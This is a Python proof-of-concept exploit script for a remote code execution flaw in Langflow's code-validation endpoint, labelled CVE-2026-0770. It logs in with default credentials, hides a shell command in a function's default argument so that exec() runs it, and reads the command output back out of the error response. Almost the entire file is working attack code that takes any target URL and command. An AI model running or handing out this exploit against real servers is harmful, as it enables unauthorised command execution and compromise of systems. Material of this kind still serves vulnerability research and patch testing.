#!/usr/bin/env python3
"""
CVE-2026-0770 - Langflow exec_global RCE
Target: POST /api/v1/validate/code
Auth: Uses auto-login (AUTO_LOGIN=true is the default config)
"""

import requests
import argparse


def exploit(target_url: str, command: str, token: str = None) -> dict:
    """
    Exploit RCE via /api/v1/validate/code endpoint.

    Vulnerability: validate_code() in validate.py uses exec() on user code.
    Trick: Default arguments are evaluated at function definition time,
    so code in default args executes immediately when exec() runs the def.
    """
    if not token:
        print("[*] Attempting auto-login (default config)...")
        try:
            resp = requests.post(
                f"{target_url}/api/v1/login",
                data={"username": "langflow", "password": "langflow"},
                timeout=10
            )
            if resp.ok:
                token = resp.json().get("access_token")
                print("[+] Auto-login successful!")
            else:
                print(f"[-] Auto-login failed: {resp.status_code}")
        except Exception as e:
            print(f"[-] Auto-login error: {e}")

    # Payload: Default arg executes at definition time
    # Generator throw() raises exception with command output
    payload = f'''
def exploit(
    _=( lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\\n{{r.stdout}}{{r.stderr}}")) )(
        __import__('subprocess').run({repr(command)}, shell=True, capture_output=True, text=True)
    )
):
    pass
'''

    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"

    print(f"[*] Executing: {command}")

    resp = requests.post(
        f"{target_url}/api/v1/validate/code",
        json={"code": payload},
        headers=headers,
        timeout=30
    )

    return {"status": resp.status_code, "response": resp.json() if resp.ok else resp.text}


def parse_output(result: dict) -> str:
    """Extract command output from error response."""
    try:
        errors = result.get("response", {}).get("function", {}).get("errors", [])
        for err in errors:
            if "OUTPUT:" in err:
                return err.split("OUTPUT:", 1)[1].strip()
        return str(result)
    except Exception:
        return str(result)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Langflow RCE PoC")
    parser.add_argument("-t", "--target", required=True, help="Target URL (e.g., http://localhost:7860)")
    parser.add_argument("-c", "--command", default="id && whoami", help="Command to execute")
    parser.add_argument("-k", "--token", help="JWT token (optional, uses auto-login by default)")

    args = parser.parse_args()

    print(f"[*] Target: {args.target}")
    result = exploit(args.target, args.command, args.token)

    print(f"[+] Status: {result['status']}")
    print(f"[+] Output:\n{parse_output(result)}")